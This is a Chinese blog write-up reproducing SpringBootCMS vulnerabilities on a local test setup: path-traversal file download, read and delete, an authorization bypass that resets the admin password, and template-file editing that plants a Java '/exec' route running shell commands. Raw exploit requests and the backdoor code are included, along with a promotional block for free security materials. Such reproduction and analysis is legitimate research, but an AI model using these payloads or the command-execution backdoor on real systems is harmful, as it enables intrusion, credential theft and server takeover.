首页 > 其他分享 >SpringBootCMS漏洞复现分析

SpringBootCMS漏洞复现分析

时间:2023-10-12 14:00:26浏览次数:38  
标签:.. application admin SpringBootCMS 漏洞 Sec 复现 com Fetch

SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站,为您节约更多时间。

http://www.jrecms.com

环境搭建

修改 src/main/resources/application.properties 中对应的数据库地址,在本地创建数据库并导入根目录下的 sql 文件

image

运行 src/main/java/com/cms/App.java

image

漏洞复现分析

未授权任意文件下载

GET /common/file/download?fileKey=../../resources/application.properties HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: http://localhost:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image

com.cms.controller.common.FileController#download

image

通过传过来的参数 fileKey​ 未经过任何过滤就拼接到读取文件的路径中,最后读取该文件并下载返回

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

越权修改管理员密码

系统中存在演示账号,演示账号的用户名和密码为 read/123456,演示用户在前端并不能操作相关功能,但是可以通过直接构造数据包,触发相对应的功能

POST /admin/admin/reset HTTP/1.1
Host: localhost:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8888/admin/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7CD6B69DCC495750492D0D89B4713A52
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
​
id=1

image

成功修改了管理员 admin 的密码,修改为 123456

com.cms.controller.admin.AdminController#reset

image

com.cms.filter.PermissionFilter#doFilter

image

根本原因是没有将 reset 操作添加在过滤中,导致演示账号也可以执行重置密码的操作。

其他的操作就会有相关的提示

image

授权任意文件读取

构造链接

http://localhost:8888/admin/template/edit?directory=default/../../../resources/&fileName=application.properties

image

 

image

com.cms.controller.admin.TemplateController#edit

image

对传入的参数 directory 和 fileName 未进行任何处理就拼接到 filepath 中 读取并显示

授权任意文件修改可 getshell

查找其中不需要授权就可以访问到的路由对应的文件

http://localhost:8888/admin/template/edit?fileName=../../../../src/main/java/com/cms/controller/common/FileController.java

image

添加恶意代码,增加命令执行的路由文件

@RequestMapping("/exec")
    public void exec(String command,HttpServletRequest request, HttpServletResponse response) throws Exception{
        // 执行命令并获取输出结果
        ProcessBuilder processBuilder = new ProcessBuilder();
        processBuilder.command("cmd", "/c", command);
        Process process = processBuilder.start();
        // 读取命令输出的结果
        String output = "";
        BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String line;
        while ((line = inputReader.readLine()) != null) {
            output +=line;
        }
        response.setHeader("Content",output);
    }

重启项目后,发送路由信息

image

com.cms.controller.admin.TemplateController#update

image

漏洞存在的原因是因为在更新代码的时候,没有对代码内容进行校验,可任意修改代码,写入恶意代码就会触发命令执行

授权任意文件删除

构造数据包

GET /admin/database/delete?name=../../../../../test.txt HTTP/1.1
Host: localhost:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=410D94FAA33FE9021AD6B0C3E842F9F9
Connection: close
​
​

image

com.cms.controller.admin.DatabaseController#delete

image

​​com.cms.utils.BackupUtils#delete

image

image

更多网安技能的在线实操练习,请点击这里>>

  

标签:..,application,admin,SpringBootCMS,漏洞,Sec,复现,com,Fetch
From: https://www.cnblogs.com/hetianlab/p/17759328.html

相关文章

  • 【文件上传漏洞】---基础(开始了解渗透流层)
    利用思路:常规类-扫描获取上传-会员中心上传-后台系统上传------各种途径上传CMS类(已知cms源码)编辑器类ckeditorfckeditorkindeditor------xxxeditor其他类/cve漏洞:解析漏洞cms漏洞其他编辑器/cve1@.什么是文件上传漏洞?有文件上传就有可能存在漏洞(主要......
  • 一图看懂CodeArts Inspector 三大特性,带你玩转漏洞管理服务
    ​​​​本文分享自华为云开发者联盟公众号《一图看懂华为云CodeArtsInspector三大特性,带你玩转漏洞管理服务》。华为云漏洞管理服务CodeArtsInspector是面向软件研发和服务运维提供的一站式漏洞管理能力,通过持续评估系统和应用等资产,内置风险量化管理和在线风险分析处置能力,帮......
  • 泛微OA e-office平台uploadify.php任意文件上传漏洞
    0x01漏洞描述泛微e-office系统是标准、易用、快速部署上线的专业协同OA软件,国内协同OA办公领域领导品牌,致力于为企业用户提供专业OA办公系统、移动OA应用等协同OA整体解决方案。泛微OAe-office平台uploadify.php处存在任意文件上传漏洞,攻击者通过漏洞可以获取服务器权限。 ......
  • Fuzz测试:发现软件隐患和漏洞的秘密武器
    0x01什么是模糊测试模糊测试(FuzzTesting)是一种广泛用于软件安全和质量测试的自动化测试方法。它的基本思想是向输入参数或数据中注入随机、不规则或异常的数据,以检测目标程序或系统在处理不合法、不正常或边缘情况下的行为。模糊测试通常用于寻找软件漏洞、安全漏洞和崩溃点,以......
  • KSOA之TOM猫更改漏洞
        删除这一类的文件  好像是智友的 ......
  • 记一次从自动发卡平台渗透到挖掘chatgptai SQL注入 0day漏洞的过程
    引言本文介绍了一次从自动发卡平台渗透到挖掘chatgptaiSQL注入0day漏洞的记录,全程并未对任何资产进行任何破坏、数据窃取和获利获益等行为,只用于学习研究目的。因内容信息敏感,部门内容不放置截图,均以文字记录。漏洞挖掘访问发卡店铺,尝试输入/admin,发现管理平台,根据管理平台......
  • 记一次某通用供应链管理系统文件上传漏洞挖掘
    引言本文记录了一次对某通用供应链管理系统文件上传漏洞的挖掘,该通用产品使用了tomcat,但没有配置好tomcat管理后台的认证信息,导致了tomcat后台文件上传漏洞的发生。经测试,大部分使用该产品的资产均存在tomcat后台文件上传Nday的影响。漏洞挖掘路径FUZZ发现tomcat后台接口manag......
  • 记一次某大型会议官网任意密码重置漏洞挖掘(CNVD-2023-41929)
    记录一次本人CNVD漏洞挖掘的过程,此漏洞已被分配编号:CNVD-2023-41929引言本文记录了一次对某大型会议官网任意密码重置漏洞的挖掘,漏洞挖掘时该会议处于即将召开的状态,参会人员来自国际和国内。漏洞挖掘通过信息收集和测试发现存在一个管理后台,且有重置密码接口,但需要一个nonce......
  • 记一次某通用工控设备管理平台 SQL注入漏洞挖掘(CNVD-2023-59080)
    记录一次本人CNVD漏洞挖掘的过程,此漏洞已被分配编号:CNVD-2023-59080引言本文记录了一次对某通用工控设备管理平台基于布尔盲注的SQL注入漏洞的挖掘,存在漏洞的接口是日志查询功能,其中的keyword参数存在SQL注入。漏洞挖掘管理平台需要用户名密码授权,且需要验证码,尝试了几个弱......
  • 记一次某大型集团内部通用OA系统 SQL注入漏洞挖掘
    引言本文记录了一次对某大型集团内部通用OA系统基于布尔盲注的SQL注入漏洞的挖掘,因内容敏感,大部分区域均马赛克处理。漏洞挖掘在常规的挖掘中没有什么突破口,但是在找回密码处发现一个功能接口,允许用户通过邮箱找回密码,接收的参数为工号,设有验证码,但在简单测试之后发现验证码是......